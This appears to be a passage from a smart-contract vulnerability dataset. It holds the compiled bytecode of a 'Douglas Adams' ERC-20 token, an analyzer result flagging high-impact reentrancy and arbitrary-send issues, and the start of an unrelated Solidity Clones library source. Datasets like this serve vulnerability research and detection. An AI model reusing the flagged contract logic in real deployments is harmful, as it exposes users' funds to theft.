0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e4e565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612971565b61045e565b6040516101789190612e33565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612ff0565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612922565b61048d565b6040516101e09190612e33565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612894565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613065565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129ee565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612894565b610783565b6040516102b19190612ff0565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d65565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612e4e565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612971565b61098d565b60405161035b9190612e33565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129ad565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a40565b6110d1565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128e6565b61121a565b6040516104189190612ff0565b60405180910390f35b60606040518060400160405280600f81526020017f20446f75676c6173204164616d73200000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b6105568560405180606001604052806028815260200161372960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f30565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f30565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d03565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612f30565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600e81526020017f20446f75676c61734164616d7320000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612f30565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613306565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611d71565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612f30565b60405180910390fd5b600e60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190612fb0565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6891906128bd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0291906128bd565b6040518363ffffffff1660e01b8152600401610e1f929190612d80565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7191906128bd565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612dd2565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612a69565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550678ac7230489e80000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612da9565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612a17565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612f30565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612ef0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea0000061206b90919063ffffffff16565b6120e690919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f5460405161120f9190612ff0565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090612f90565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612eb0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190612ff0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90612f70565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612e70565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612f50565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600e60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590612fd0565b60405180910390fd5b5b5b600f5481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600e60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a729190613126565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600e60159054906101000a900460ff16158015611b2e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600e60169054906101000a900460ff165b15611b6e57611b5481611d71565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d84848484612130565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612e4e565b60405180910390fd5b5060008385611c8a9190613207565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cff573d6000803e3d6000fd5b5050565b6000600654821115611d4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4190612e90565b60405180910390fd5b6000611d5461215d565b9050611d6981846120e690919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611dfd5781602001602082028036833780820191505090505b5090503081600081518110611e3b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f1591906128bd565b81600181518110611f4f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fb630600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161201a95949392919061300b565b600060405180830381600087803b15801561203457600080fd5b505af1158015612048573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b60008083141561207e57600090506120e0565b6000828461208c91906131ad565b905082848261209b919061317c565b146120db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d290612f10565b60405180910390fd5b809150505b92915050565b600061212883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612188565b905092915050565b8061213e5761213d6121eb565b5b61214984848461221c565b80612157576121566123e7565b5b50505050565b600080600061216a6123f9565b9150915061218181836120e690919063ffffffff16565b9250505090565b600080831182906121cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c69190612e4e565b60405180910390fd5b50600083856121de919061317c565b9050809150509392505050565b60006008541480156121ff57506000600954145b156122095761221a565b600060088190555060006009819055505b565b60008060008060008061222e8761245b565b95509550955095509550955061228c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236d8161256a565b6123778483612627565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123d49190612ff0565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea00000905061242f683635c9adc5dea000006006546120e690919063ffffffff16565b82101561244e57600654683635c9adc5dea00000935093505050612457565b81819350935050505b9091565b60008060008060008060008060006124778a600854600f612661565b925092509250600061248761215d565b9050600080600061249a8e8787876126f7565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061250483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b600080828461251b9190613126565b905083811015612560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255790612ed0565b60405180910390fd5b8091505092915050565b600061257461215d565b9050600061258b828461206b90919063ffffffff16565b90506125df81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61263c826006546124c290919063ffffffff16565b6006819055506126578160075461250c90919063ffffffff16565b6007819055505050565b60008060008061268d606461267f888a61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126b760646126a9888b61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126e0826126d2858c6124c290919063ffffffff16565b6124c290919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612710858961206b90919063ffffffff16565b90506000612727868961206b90919063ffffffff16565b9050600061273e878961206b90919063ffffffff16565b905060006127678261275985876124c290919063ffffffff16565b6124c290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061279361278e846130a5565b613080565b905080838252602082019050828560208602820111156127b257600080fd5b60005b858110156127e257816127c888826127ec565b8452602084019350602083019250506001810190506127b5565b5050509392505050565b6000813590506127fb816136e3565b92915050565b600081519050612810816136e3565b92915050565b600082601f83011261282757600080fd5b8135612837848260208601612780565b91505092915050565b60008135905061284f816136fa565b92915050565b600081519050612864816136fa565b92915050565b60008135905061287981613711565b92915050565b60008151905061288e81613711565b92915050565b6000602082840312156128a657600080fd5b60006128b4848285016127ec565b91505092915050565b6000602082840312156128cf57600080fd5b60006128dd84828501612801565b91505092915050565b600080604083850312156128f957600080fd5b6000612907858286016127ec565b9250506020612918858286016127ec565b9150509250929050565b60008060006060848603121561293757600080fd5b6000612945868287016127ec565b9350506020612956868287016127ec565b92505060406129678682870161286a565b9150509250925092565b6000806040838503121561298457600080fd5b6000612992858286016127ec565b92505060206129a38582860161286a565b9150509250929050565b6000602082840312156129bf57600080fd5b600082013567ffffffffffffffff8111156129d957600080fd5b6129e584828501612816565b91505092915050565b600060208284031215612a0057600080fd5b6000612a0e84828501612840565b91505092915050565b600060208284031215612a2957600080fd5b6000612a3784828501612855565b91505092915050565b600060208284031215612a5257600080fd5b6000612a608482850161286a565b91505092915050565b600080600060608486031215612a7e57600080fd5b6000612a8c8682870161287f565b9350506020612a9d8682870161287f565b9250506040612aae8682870161287f565b9150509250925092565b6000612ac48383612ad0565b60208301905092915050565b612ad98161323b565b82525050565b612ae88161323b565b82525050565b6000612af9826130e1565b612b038185613104565b9350612b0e836130d1565b8060005b83811015612b3f578151612b268882612ab8565b9750612b31836130f7565b925050600181019050612b12565b5085935050505092915050565b612b558161324d565b82525050565b612b6481613290565b82525050565b6000612b75826130ec565b612b7f8185613115565b9350612b8f8185602086016132a2565b612b98816133dc565b840191505092915050565b6000612bb0602383613115565b9150612bbb826133ed565b604082019050919050565b6000612bd3602a83613115565b9150612bde8261343c565b604082019050919050565b6000612bf6602283613115565b9150612c018261348b565b604082019050919050565b6000612c19601b83613115565b9150612c24826134da565b602082019050919050565b6000612c3c601d83613115565b9150612c4782613503565b602082019050919050565b6000612c5f602183613115565b9150612c6a8261352c565b604082019050919050565b6000612c82602083613115565b9150612c8d8261357b565b602082019050919050565b6000612ca5602983613115565b9150612cb0826135a4565b604082019050919050565b6000612cc8602583613115565b9150612cd3826135f3565b604082019050919050565b6000612ceb602483613115565b9150612cf682613642565b604082019050919050565b6000612d0e601783613115565b9150612d1982613691565b602082019050919050565b6000612d31601183613115565b9150612d3c826136ba565b602082019050919050565b612d5081613279565b82525050565b612d5f81613283565b82525050565b6000602082019050612d7a6000830184612adf565b92915050565b6000604082019050612d956000830185612adf565b612da26020830184612adf565b9392505050565b6000604082019050612dbe6000830185612adf565b612dcb6020830184612d47565b9392505050565b600060c082019050612de76000830189612adf565b612df46020830188612d47565b612e016040830187612b5b565b612e0e6060830186612b5b565b612e1b6080830185612adf565b612e2860a0830184612d47565b979650505050505050565b6000602082019050612e486000830184612b4c565b92915050565b60006020820190508181036000830152612e688184612b6a565b905092915050565b60006020820190508181036000830152612e8981612ba3565b9050919050565b60006020820190508181036000830152612ea981612bc6565b9050919050565b60006020820190508181036000830152612ec981612be9565b9050919050565b60006020820190508181036000830152612ee981612c0c565b9050919050565b60006020820190508181036000830152612f0981612c2f565b9050919050565b60006020820190508181036000830152612f2981612c52565b9050919050565b60006020820190508181036000830152612f4981612c75565b9050919050565b60006020820190508181036000830152612f6981612c98565b9050919050565b60006020820190508181036000830152612f8981612cbb565b9050919050565b60006020820190508181036000830152612fa981612cde565b9050919050565b60006020820190508181036000830152612fc981612d01565b9050919050565b60006020820190508181036000830152612fe981612d24565b9050919050565b60006020820190506130056000830184612d47565b92915050565b600060a0820190506130206000830188612d47565b61302d6020830187612b5b565b818103604083015261303f8186612aee565b905061304e6060830185612adf565b61305b6080830184612d47565b9695505050505050565b600060208201905061307a6000830184612d56565b92915050565b600061308a61309b565b905061309682826132d5565b919050565b6000604051905090565b600067ffffffffffffffff8211156130c0576130bf6133ad565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061313182613279565b915061313c83613279565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131715761317061334f565b5b828201905092915050565b600061318782613279565b915061319283613279565b9250826131a2576131a161337e565b5b828204905092915050565b60006131b882613279565b91506131c383613279565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131fc576131fb61334f565b5b828202905092915050565b600061321282613279565b915061321d83613279565b9250828210156132305761322f61334f565b5b828203905092915050565b600061324682613259565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061329b82613279565b9050919050565b60005b838110156132c05780820151818401526020810190506132a5565b838111156132cf576000848401525b50505050565b6132de826133dc565b810181811067ffffffffffffffff821117156132fd576132fc6133ad565b5b80604052505050565b600061331182613279565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133445761334361334f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136ec8161323b565b81146136f757600080fd5b50565b6137038161324d565b811461370e57600080fd5b50565b61371a81613279565b811461372557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e3eb8cd036c1b175fb086ab01173eed2174ff39ed3d317829ea8dd64d8f0a31864736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,729 |
0x61636B08483D8010B1210ecF9c4Ab81bbCd24A38
|
/**
*Submitted for verification at Etherscan.io on 2021-06-28
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;
/**
* @dev https://eips.ethereum.org/EIPS/eip-1167[EIP 1167] is a standard for
* deploying minimal proxy contracts, also known as "clones".
*
* > To simply and cheaply clone contract functionality in an immutable way, this standard specifies
* > a minimal bytecode implementation that delegates all calls to a known, fixed address.
*
* The library includes functions to deploy a proxy using either `create` (traditional deployment) or `create2`
* (salted deterministic deployment). It also includes functions to predict the addresses of clones deployed using the
* deterministic method.
*
* _Available since v3.4._
*/
library Clones {
/**
* @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`.
*
* This function uses the create opcode, which should never revert.
*/
function clone(address implementation) internal returns (address instance) {
// solhint-disable-next-line no-inline-assembly
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, implementation))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
instance := create(0, ptr, 0x37)
}
require(instance != address(0), "ERC1167: create failed");
}
/**
* @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`.
*
* This function uses the create2 opcode and a `salt` to deterministically deploy
* the clone. Using the same `implementation` and `salt` multiple time will revert, since
* the clones cannot be deployed twice at the same address.
*/
function cloneDeterministic(address implementation, bytes32 salt) internal returns (address instance) {
// solhint-disable-next-line no-inline-assembly
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, implementation))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
instance := create2(0, ptr, 0x37, salt)
}
require(instance != address(0), "ERC1167: create2 failed");
}
/**
* @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}.
*/
function predictDeterministicAddress(address implementation, bytes32 salt, address deployer) internal pure returns (address predicted) {
// solhint-disable-next-line no-inline-assembly
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, implementation))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf3ff00000000000000000000000000000000)
mstore(add(ptr, 0x38), shl(0x60, deployer))
mstore(add(ptr, 0x4c), salt)
mstore(add(ptr, 0x6c), keccak256(ptr, 0x37))
predicted := keccak256(add(ptr, 0x37), 0x55)
}
}
/**
* @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}.
*/
function predictDeterministicAddress(address implementation, bytes32 salt) internal view returns (address predicted) {
return predictDeterministicAddress(implementation, salt, address(this));
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
